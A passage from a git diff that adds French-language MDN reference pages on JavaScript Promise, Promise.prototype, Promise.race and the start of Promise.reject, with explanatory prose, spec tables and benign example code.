+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>onFinally</code></dt>
+ <dd>Une fonction (objet {{jsxref("Function")}}) appelé lorsque la promesse courante est résolue.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Cette méthode renvoie un objet {{jsxref("Promise")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>finally</code> peut être utile si on souhaite effectuer un traitement ou du nettoyage (fermetures de flux, libération de ressources, etc.) une fois qu'une promesse est résolue, quel que soit l'état de la résolution (tenue ou rejetée).</p>
+
+<p>La méthode <code>finally</code> est similaire à l'utilisation de la forme <code>.then(onFinally, onFinally)</code>, on notera toutefois quelques différences :</p>
+
+<ul>
+ <li>Lorsqu'on crée une fonction en ligne, on peut ne la passer qu'une seule fois et éviter d'avoir à déclarer une variable ou à la déclarer à deux reprises.</li>
+ <li>Un <em>callback</em> <code>finally</code> ne recevra pas d'argument car on ne peut pas savoir si la promesse a été tenue ou rompue. Cette fonction est précisément appelée lorsqu'on ne s'intéresse pas à la raison du rejet ou à la réussite de la promesse. Une telle valeur est donc superflue. Ainsi :
+  <ul>
+   <li>À la différence de <code>Promise.resolve(2).then(() =&gt; {}, () =&gt; {})</code> qui sera résolue avec la valeur {{jsxref("undefined")}}, <code>Promise.resolve(2).finally(() =&gt; {})</code> sera résolue avec la valeur <code>2</code>.</li>
+   <li>De même, à la différence de <code>Promise.reject(3).then(() =&gt; {}, () =&gt; {})</code> qui sera résolue avec la valeur <code>undefined</code>, <code>Promise.reject(3).finally(() =&gt; {})</code> sera rejetée avec <code>3</code>.</li>
+  </ul>
+ </li>
+</ul>
+
+<div class="note">
+<p><strong>Note :</strong> Toutefois, on notera qu'utiliser <code>throw</code> (ou que renvoyer une promesse rompue) dans le <em>callback</em> <code>finally</code> rejettera la promesse avec l'exception indiquée dans l'appel à <code>throw</code>.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">let isLoading = true;
+
+<code>fetch(myRequest).then(function(response) {
+    var contentType = response.headers.get("content-type");
+    if(contentType &amp;&amp; contentType.includes("application/json")) {
+      return response.json();
+    }
+    throw new TypeError("Oups, ceci n'est pas du JSON !");
+  })
+  .then(function(json) { /* traiter le JSON */ })
+  .catch(function(error) { console.log(error);
+       /* La ligne précédent peut aussi déclencher une
+          erreur (si console vaut {} par exemple) */
+   })
+</code>  .finally(function() { isLoading = false; });
+
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-promise.prototype.finally', 'Promise.prototype.finally')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Promise.finally")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+ <li>{{jsxref("Promise.prototype.then()")}}</li>
+ <li>{{jsxref("Promise.prototype.catch()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/promise/index.html b/files/fr/web/javascript/reference/objets_globaux/promise/index.html
new file mode 100644
index 0000000000..36624cf3eb
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/promise/index.html
@@ -0,0 +1,243 @@
+---
+title: Promise
+slug: Web/JavaScript/Reference/Objets_globaux/Promise
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Promise
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise
+---
+<div>{{JSRef}}</div>
+
+<p>L'objet <code><strong>Promise</strong></code> (pour « promesse ») est utilisé pour réaliser des traitements de façon asynchrone. Une promesse représente une valeur qui peut être disponible maintenant, dans le futur voire jamais.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Cet article décrit le constructeur <code>Promise</code>. Pour en savoir plus sur les promesses en général, nous vous conseillons de lire l'article <a href="/fr/docs/Web/JavaScript/Guide/Utiliser_les_promesses">Utiliser les promesses</a>. Le constructeur <code>Promise</code> est principalement utilisé pour envelopper des fonctions qui ne prennent pas en charge les promesses.</p>
+</div>
+
+<div>{{EmbedInteractiveExample("pages/js/promise-constructor.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">new Promise( /* exécuteur */ function(resolve, reject) { ... } );</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>exécuteur</code></dt>
+ <dd>Une fonction à laquelle on passera deux arguments : <code>resolve</code> et <code>reject</code>. Cette fonction est exécutée immédiatement par l'implémentation de <strong><code>Promise</code></strong> qui fournit les fonctions <code>resolve</code> et <code>reject</code> (elle est exécutée avant que le constructeur <strong><code>Promise</code></strong> ait renvoyé l'objet créé). Les fonctions <code>resolve</code> et <code>reject</code>, lorsqu'elles sont appelées, permettent respectivement de tenir ou de rompre la promesse. On attend de l'exécuteur qu'il démarre un travail asynchrone puis, une fois le travail terminé, appelle la fonction <code>resolve</code> (si tout s'est bien passé) ou la fonction <code>reject</code> (lorsqu'il y a eu un problème) pour définir l'état final de la promesse.<br>
+ Si une erreur est générée par l'exécuteur, la promesse est rompue et la valeur de retour de l'exécuteur est ignorée.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>L'interface <strong><code>Promise</code></strong> représente un intermédiaire (<em>proxy</em>) vers une valeur qui n'est pas nécessairement connue au moment de sa création. Cela permet d'associer des gestionnaires au succès éventuel d'une action asynchrone et à la raison d'une erreur. Ainsi, des méthodes asynchrones renvoient des valeurs comme les méthodes synchrones, la seule différence est que la valeur retournée par la méthode asynchrone est une promesse (d'avoir une valeur plus tard).</p>
+
+<p>Une <code>Promise</code> est dans un de ces états :</p>
+
+<ul>
+ <li><em>pending (en attente)</em> : état initial, la promesse n'est ni remplie, ni rompue ;</li>
+ <li><em>fulfilled (tenue</em>) : l'opération a réussi ;</li>
+ <li><em>rejected (rompue)</em> : l'opération a échoué ;</li>
+ <li><em>settled (acquittée)</em> : la promesse est tenue ou rompue mais elle n'est plus en attente.</li>
+</ul>
+
+<p>Une promesse en attente peut être <em>tenue</em> avec une valeur ou <em>rompue</em> avec une raison (erreur). Quand on arrive à l'une des deux situations, les gestionnaires associés lors de l'appel de la méthode <code>then</code> sont alors appelés. (Si la promesse a déjà été tenue ou rompue lorsque le gestionnaire est attaché à la promesse, le gestionnaire est appelé. Cela permet qu'il n'y ait pas de situation de compétition entre une opération asynchrone en cours et les gestionnaires ajoutés).</p>
+
+<p>Les méthodes {{jsxref("Promise.then","Promise.prototype.then()")}} et {{jsxref("Promise.catch","Promise.prototype.catch()")}} renvoient des promesses et peuvent ainsi être chaînées. C'est ce qu'on appelle une <em>composition</em>.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15911/promises.png" style="height: 297px; width: 801px;"></p>
+
+<div class="note">
+<p><strong>Note</strong>: Une promesse est dans l'état <em>settled </em>(acquittée) qu'elle soit tenue ou rompue mais plus en attente. Le terme <em>resolved</em> (résolue) est aussi utilisé concernant les promesses — cela signifie que la promesse est acquittée ou bien enfermée dans une chaine de promesse. Le billet de Domenic Denicola, <a href="https://github.com/domenic/promises-unwrapping/blob/master/docs/states-and-fates.md"><em>States and fates</em> (en anglais)</a>, contient de plus amples détails sur la terminologie utilisée.</p>
+</div>
+
+<div class="warning">
+<p><strong>Attention :</strong> D'autres langages utilisent des mécanismes d'évaluation à la volée (<em>lazy evaluation</em>) et de déport des calculs (<em>deferring computations</em>). Ces mécanismes sont également intitulés promesses (<em>promises</em>). En JavaScript, les promesses correspondent à des processus déjà lancés et qui peuvent être chaînés avec des fonctions de retour. Si vous cherchez à retarder l'évaluation, vous pouvez utiliser les fonctions fléchées sans arguments (ex. <code>f = () =&gt; expression</code>) afin de créer une expression à évaluer plus tard et utiliser <code>f()</code> pour l'évaluer au moment voulu.</p>
+</div>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt><code>Promise.length</code></dt>
+ <dd>Une propriété de longueur qui vaut 1 (le nombre d'arguments pour le constructeur).</dd>
+ <dt>{{jsxref("Promise.prototype")}}</dt>
+ <dd>Cette propriété représente le prototype du constructeur <code>Promise</code>.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{jsxref("Promise.all", "Promise.all(iterable)")}}</dt>
+ <dd>Renvoie une promesse tenue lorsque toutes les promesses de l'argument itérable sont tenues ou une promesse rompue dès qu'une promesse de l'argument itérable est rompue. Si la promesse est tenue, elle est résolue avec un tableau contenant les valeurs de résolution des différentes promesses contenues dans l'itérable (dans le même ordre que celui-ci). Si la promesse est rompue, elle contient la raison de la rupture de la part de la promesse en cause, contenue dans l'itérable. Cette méthode est utile pour agréger les résultats de plusieurs promesses tous ensemble.</dd>
+ <dt>{{jsxref("Promise.allSettled", "Promise.allSettled(iterable)")}}</dt>
+ <dd>Attend que l'ensemble des promesses aient été acquittées (tenues ou rompues) et renvoie une promesse qui est résolue après que chaque promesse ait été tenue ou rompue. La valeur de résolution de la promesse renvoyée est un tableau dont chaque élément est le résultat des promesses initiales.</dd>
+ <dt>{{jsxref("Promise.race", "Promise.race(iterable)")}}</dt>
+ <dd>Renvoie une promesse qui est tenue ou rompue dès que l'une des promesses de l'itérable est tenue ou rompue avec la valeur ou la raison correspondante.</dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("Promise.reject", "Promise.reject(raison)")}}</dt>
+ <dd>Renvoie un objet <code>Promise</code> qui est rompue avec la raison donnée.</dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("Promise.resolve", "Promise.resolve(valeur)")}}</dt>
+ <dd>Renvoie un objet <code>Promise</code> qui est tenue (résolue) avec la valeur donnée. Si la valeur possède une méthode <code>then</code>, la promesse renvoyée « suivra » cette méthode pour arriver dans son état, sinon la promesse renvoyée sera tenue avec la valeur fournie. Généralement, quand on veut savoir si une valeur est une promesse, on utilisera {{jsxref("Promise.resolve","Promise.resolve(valeur)")}} et on travaillera avec la valeur de retour en tant que promesse.</dd>
+</dl>
+
+<h2 id="Prototype_pour_Promise">Prototype pour <code>Promise</code></h2>
+
+<h3 id="Propriétés_2">Propriétés</h3>
+
+<p>{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise/prototype','Propriétés')}}</p>
+
+<h3 id="Méthodes_2">Méthodes</h3>
+
+<p>{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise/prototype','Méthodes')}}</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Créer_une_promesse">Créer une promesse</h3>
+
+<p>Pour créer une promesse, on utilise l'opérateur <code>new</code> et le constructeur. Celui-ci prend en argument une fonction qui prend deux fonctions en paramètres. La première est appelée quand la tâche asynchrone est correctement terminée et la seconde est appelée quand la tâche échoue :</p>
+
+<pre class="brush: js">const maPremierePromesse = new Promise((resolve, reject) =&gt; {
+  // réaliser une tâche asynchrone et appeler :
+
+  // resolve(uneValeur); // si la promesse est tenue
+  // ou
+  // reject("raison d'echec"); // si elle est rompue
+});
+</pre>
+
+<p>On peut ainsi obtenir des fonctions asynchrones en renvoyant une promesse :</p>
+
+<pre class="brush: js">function maFonctionAsynchrone(url) {
+  return new Promise((resolve, reject) =&gt; {
+    const xhr = new XMLHttpRequest();
+    xhr.open("GET", url);
+    xhr.onload = () =&gt; resolve(xhr.responseText);
+    xhr.onerror = () =&gt; reject(xhr.statusText);
+    xhr.send();
+  });
+}</pre>
+
+<h3 id="Exemple_interactif">Exemple interactif</h3>
+
+<pre class="brush: html hidden">&lt;button id="btn" type="button"&gt;Créer un objet Promise !&lt;/button&gt;
+&lt;div id="log"&gt;&lt;/div&gt;
+</pre>
+
+<p>Dans le court exemple qui suit, on illustre le mécanisme d'une <code>Promise</code>. La méthode <code>testPromise()</code> est appelée chaque fois qu'on clique sur l'élément {{HTMLElement("button")}}. Cette méthode crée une promesse qui sera tenue grâce à la fonction {{domxref("window.setTimeout()")}}, et avec la valeur comptePromesse (nombre commançant à 1) après <code>1s</code> à <code>3s</code> (aléatoire). Le constructeur Promise() est utilisé pour créer la promesse.</p>
+
+<p>Le fait que la promesse soit tenue est simplement enregistré via un <em>callback</em> sur <code>p1.then()</code>. Quelques indicateurs illustrent la manière dont la partie synchrone est découplée de la partie asynchrone.</p>
+
+<pre class="brush: js">'use strict';
+var comptePromesse = 0;
+
+function testPromise() {
+  var thisComptePromesse = ++comptePromesse;
+
+  var log = document.getElementById('log');
+  log.insertAdjacentHTML('beforeend', thisComptePromesse +
+      ') Started (&lt;small&gt;Début du code synchrone&lt;/small&gt;)&lt;br/&gt;');
+
+  // on crée une nouvelle promesse :
+  var p1 = new Promise(
+    // La fonction de résolution est appelée avec la capacité de
+    // tenir ou de rompre la promesse
+    function(resolve, reject) {
+      log.insertAdjacentHTML('beforeend', thisComptePromesse +
+          ') Promise started (&lt;small&gt;Début du code asynchrone&lt;/small&gt;)&lt;br/&gt;');
+
+      // Voici un exemple simple pour créer un code asynchrone
+      window.setTimeout(
+        function() {
+          // On tient la promesse !
+          resolve(thisComptePromesse);
+        }, Math.random() * 2000 + 1000);
+    });
+
+  // On définit ce qui se passe quand la promesse est tenue
+  // et ce qu'on appelle (uniquement) dans ce cas
+  // La méthode catch() définit le traitement à effectuer
+  // quand la promesse est rompue.
+  p1.then(
+    // On affiche un message avec la valeur
+    function(val) {
+      log.insertAdjacentHTML('beforeend', val +
+          ') Promise fulfilled (&lt;small&gt;Fin du code asynchrone&lt;/small&gt;)&lt;br/&gt;');
+    }).catch(
+      // Promesse rejetée
+      function() {
+        console.log("promesse rompue");
+      });
+
+  log.insertAdjacentHTML('beforeend', thisComptePromesse +
+      ') Promise made (&lt;small&gt;Fin du code synchrone&lt;/small&gt;)&lt;br/&gt;');
+}
+</pre>
+
+<pre class="brush: js hidden">if ("Promise" in window) {
+  var btn = document.getElementById("btn");
+  btn.addEventListener("click", testPromise);
+ } else {
+  log = document.getElementById('log');
+  log.innerHTML = "L'exemple live n'est pas disponible pour votre navigateur car celui-ci ne supporte pas l'interface &lt;code&gt;Promise&lt;code&gt;.";
+}</pre>
+
+<p>L'exemple s'exécute lorsqu'on clique sur le bouton. Pour tester cet exemple, il est nécessaire d'utiliser un navigateur qui supporte les objets <code>Promise</code>. En cliquant plusieurs fois sur le bouton en peu de temps, on verra qu'il y a plusieurs promesses tenues les une après les autres.</p>
+
+<p>{{EmbedLiveSample('Exemple_interactif', '500', '200')}}</p>
+
+<h2 id="Charger_une_image_en_XHR">Charger une image en XHR</h2>
+
+<p>Un autre exemple simple utilisant <code>Promise</code> et {{domxref("XMLHttpRequest")}} afin de charger une image est disponible sur le dépôt GitHub MDN <a href="https://github.com/mdn/js-examples/tree/master/promises-test">js-examples</a>. Vous pouvez également <a href="https://mdn.github.io/js-examples/promises-test/">voir le résultat</a>. Chaque étape est commentée afin de vous permettre de suivre l'état de la promesse et l'architecture utilisée avec XHR.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-promise-objects', 'Promise')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale au sein d'un standard ECMA.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-promise-objects', 'Promise')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Pour contribuer à ces données de compatibilité, vous pouvez envoyer une poule requête sur : <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Promise")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/Utiliser_les_promesses">Manipuler les promesses</a></li>
+ <li><a href="https://promisesaplus.com/">Promises/A+ specification</a></li>
+ <li><a href="https://medium.com/@ramsunvtech/promises-of-promise-part-1-53f769245a53">Venkatraman.R - JS Promise (Part 1, Basics) </a>(en anglais)</li>
+ <li><a href="https://medium.com/@ramsunvtech/js-promise-part-2-q-js-when-js-and-rsvp-js-af596232525c#.dzlqh6ski">Venkatraman.R - JS Promise (Part 2 - Using Q.js, When.js and RSVP.js) </a>(en anglais)</li>
+ <li><a href="https://tech.io/playgrounds/11107/tools-for-promises-unittesting/introduction">Venkatraman.R - Tools for Promises Unit Testing </a>(en anglais)</li>
+ <li><a href="https://www.html5rocks.com/en/tutorials/es6/promises/">Jake Archibald : <em>JavaScript Promises : There and Back Again</em></a> (tutoriel en anglais)</li>
+ <li><a href="https://de.slideshare.net/domenicdenicola/callbacks-promises-and-coroutines-oh-my-the-evolution-of-asynchronicity-in-javascript">Domenic Denicola : <em>Callbacks, Promises, and Coroutines – Asynchronous Programming Patterns in JavaScript</em></a> (présentation en anglais sur l'asynchronisme en JavaScript)</li>
+ <li><a href="https://www.mattgreer.org/articles/promises-in-wicked-detail/">Matt Greer : <em>JavaScript Promises ... In Wicked Detail</em></a> (en anglais)</li>
+ <li><a href="https://www.promisejs.org/">Forbes Lindesay : promisejs.org</a> (en anglais)</li>
+ <li><a href="https://github.com/jakearchibald/es6-promise/">Prothèse pour les promesses par Jake Archibald</a></li>
+ <li><a href="https://www.udacity.com/course/javascript-promises--ud898">Les promesses JavaScript sur Udacity</a> (en anglais)</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/promise/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/promise/prototype/index.html
new file mode 100644
index 0000000000..7ac60aaa5b
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/promise/prototype/index.html
@@ -0,0 +1,72 @@
+---
+title: Promise.prototype
+slug: Web/JavaScript/Reference/Objets_globaux/Promise/prototype
+tags:
+  - JavaScript
+  - Promise
+  - Propriété
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <code><strong>Promise.prototype</strong></code> représente le prototype pour le constructeur {{jsxref("Promise")}}.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p>Les instances de {{jsxref("Promise")}} héritent de {{jsxref("Promise.prototype")}}. On peut utiliser le prototype du constructeur afin d'ajouter des propriétés et/ou des méthodes à chacune des instances de <code>Promise</code>.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt><code>Promise.prototype.constructor</code></dt>
+ <dd>Renvoie la fonction qui a créé le prototype d'une instance. Ce sera la fonction {{jsxref("Promise")}} par défaut.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{jsxref("Promise.prototype.catch()")}}</dt>
+ <dd>Ajoute une fonction <em>callback</em> à utiliser en cas de rejet de la promesse. Elle renvoie une nouvelle promesse qui est résolue avec la valeur de retour du callback s'il est appelé ou avec la valeur de résolution initiale si la promesse est tenue (et non rejetée).</dd>
+ <dt>{{jsxref("Promise.prototype.then()")}}</dt>
+ <dd>Ajoute des fonctions à utiliser en cas de résolution ou de rejet de la promesse et renvoie une nouvelle promesse qui est résolue avec la valeur de retour de la fonction utilisée en fonction de la résolution ou non.</dd>
+ <dt>{{jsxref("Promise.prototype.finally()")}}</dt>
+ <dd>Ajoute une fonction à la promesse et renvoie une nouvelle promesse qui est résolue lorsque la promesse originale est résolue. La fonction ajoutée est appelée lorsque la promesse est résolue, qu'elle soit tenue ou rejetée.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-promise.prototype', 'Promise.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-promise.prototype', 'Promise.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Pour contribuer à ces données de compatibilité, vous pouvez envoyer une poule requête sur : <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Promise.prototype")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/promise/race/index.html b/files/fr/web/javascript/reference/objets_globaux/promise/race/index.html
new file mode 100644
index 0000000000..afb407d7db
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/promise/race/index.html
@@ -0,0 +1,191 @@
+---
+title: Promise.race()
+slug: Web/JavaScript/Reference/Objets_globaux/Promise/race
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Promise
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise/race
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>Promise.race()</strong></code> renvoie une promesse qui est résolue ou rejetée dès qu'une des promesses de l'itérable passé en argument est résolue ou rejetée. La valeur (dans le cas de la résolution) ou la raison (dans le cas d'un échec) utilisée est celle de la promesse de l'itérable qui est resolue/qui échoue.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/promise-race.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Promise.race(<var>itérable</var>);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>itérable</code></dt>
+ <dd>Un objet itérable, par exemple un {{jsxref("Array")}}. Voir la page <a href="/fr/docs/Web/JavaScript/Guide/iterable">itérable</a>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une promesse ({{jsxref("Promise")}}) à résoudre qui est résolue de façon asynchrone dès que l'une des promesses de l'itérable est tenue ou rompue.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La fonction <code>race</code> renvoie une <code>Promise</code> qui est résolue/rejetée de la même façon que la première promesse de l'itérable à être résolue/rejetée.</p>
+
+<p>Si l'itérable passé en argument est vide, la promesse sera continuellement en attente.</p>
+
+<p>Si l'itérable contient une ou plusieurs valeurs qui ne sont pas des promesses ou une promesse déjà résolue, <code>Promise.race</code> fournira une promesse résolue avec la première de ces valeurs trouvées dans l'itérable.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Caractère_asynchrone_de_Promise.race()">Caractère asynchrone de <code>Promise.race()</code></h3>
+
+<p>L'exemple qui suit illuste le caractère asynchrone de <code>Promise.race:</code></p>
+
+<pre class="brush: js">// On passe un tableau de promesses déjà résolues
+// en argument afin de déclencher Promise.race
+// dès que possible
+var resolvedPromisesArray = [Promise.resolve(33), Promise.resolve(44)];
+
+var p = Promise.race(resolvedPromisesArray);
+// On affiche immédiatement la valeur p dans la console
+console.log(p);
+
+// Avec setTimeout on peut exécuter du code
+// une fois que la pile est vide
+setTimeout(function(){
+    console.log('La pile est désormais vide');
+    console.log(p);
+});
+
+// affichera, dans cet ordre :
+// Promise { &lt;state&gt;: "pending" }
+// La pile est désormais vide
+// Promise { &lt;state&gt;: "fulfilled", &lt;value&gt;: 33 }</pre>
+
+<p>Un itérable vide renverra une promesse qui restera en attente :</p>
+
+<pre class="brush: js">var foreverPendingPromise = Promise.race([]);
+console.log(foreverPendingPromise);
+setTimeout(function(){
+    console.log('La pile est désormais vide');
+    console.log(foreverPendingPromise);
+});
+
+// affichera, dans cet ordre :
+// Promise { &lt;state&gt;: "pending" }
+// La pile est désormais vide
+// Promise { &lt;state&gt;: "pending" }
+</pre>
+
+<p>Si l'itérable contient une ou plusieurs valeurs qui ne sont pas des promesses ou des promesses déjà résolues, <code>Promise.race</code> considèrera la première valeur ainsi trouvée dans l'itérable :</p>
+
+<pre class="brush: js">var foreverPendingPromise = Promise.race([]);
+var alreadyResolvedProm = Promise.resolve(666);
+
+var arr = [foreverPendingPromise, alreadyResolvedProm, "non-Promise value"];
+var arr2 = [foreverPendingPromise, "non-Promise value", Promise.resolve(666)];
+var p = Promise.race(arr);
+var p2 = Promise.race(arr2);
+
+console.log(p);
+console.log(p2);
+setTimeout(function(){
+    console.log('the stack is now empty');
+    console.log(p);
+    console.log(p2);
+});
+
+// affichera dans l'ordre :
+// Promise { &lt;state&gt;: "pending" }
+// Promise { &lt;state&gt;: "pending" }
+// the stack is now empty
+// Promise { &lt;state&gt;: "fulfilled", &lt;value&gt;: 666 }
+// Promise { &lt;state&gt;: "fulfilled", &lt;value&gt;: "non-Promise value" }
+</pre>
+
+<h3 id="Utilisation_de_Promise.race_–_exemples_avec_setTimeout">Utilisation de <code>Promise.race</code> – exemples avec <code>setTimeout</code></h3>
+
+<pre class="brush: js">var p1 = new Promise(function(resolve, reject) {
+    setTimeout(resolve, 500, "un");
+});
+var p2 = new Promise(function(resolve, reject) {
+    setTimeout(resolve, 100, "deux");
+});
+
+Promise.race([p1, p2]).then(function(value) {
+  console.log(value); // "deux"
+  // Les deux promesses sont résolues mais p2 est plus rapide
+});
+
+var p3 = new Promise(function(resolve, reject) {
+    setTimeout(resolve, 100, "trois");
+});
+var p4 = new Promise(function(resolve, reject) {
+    setTimeout(reject, 500, "quatre");
+});
+
+Promise.race([p3, p4]).then(function(value) {
+  console.log(value); // "trois"
+  // p3 est plus rapide et entraîne la résolution de la promesse de compétition
+}, function(reason) {
+  // N'est pas appelée
+});
+
+var p5 = new Promise(function(resolve, reject) {
+    setTimeout(resolve, 500, "cinq");
+});
+var p6 = new Promise(function(resolve, reject) {
+    setTimeout(reject, 100, "six");
+});
+
+Promise.race([p5, p6]).then(function(value) {
+  // N'est pas appelée
+}, function(reason) {
+  console.log(reason); // "six"
+  // p6 est plus rapide et rejète la promesse de compétition
+});
+</pre>
+
+<div class="note">
+<p><strong>Note :</strong> voir la documentation sur <a href="/fr/docs/Web/API/WindowTimers/setTimeout"><code>setTimeout</code>.</a></p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-promise.race', 'Promise.race')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale au sein d'un standard ECMA.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-promise.race', 'Promise.race')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Pour contribuer à ces données de compatibilité, vous pouvez envoyer une poule requête sur : <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Promise.race")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+ <li>{{jsxref("Promise.all()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/promise/reject/index.html b/files/fr/web/javascript/reference/objets_globaux/promise/reject/index.html
new file mode 100644
index 0000000000..d792a2eaa4
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/promise/reject/index.html
@@ -0,0 +1,79 @@
+---
+title: Promise.reject()
+slug: Web/JavaScript/Reference/Objets_globaux/Promise/reject
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Promise
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise/reject
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>Promise.reject(raison)</strong></code> renvoie un objet <code>Promise</code> qui est rejeté (la promesse n'est pas tenue) à cause d'une raison donnée.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/promise-reject.html")}}</div>
+
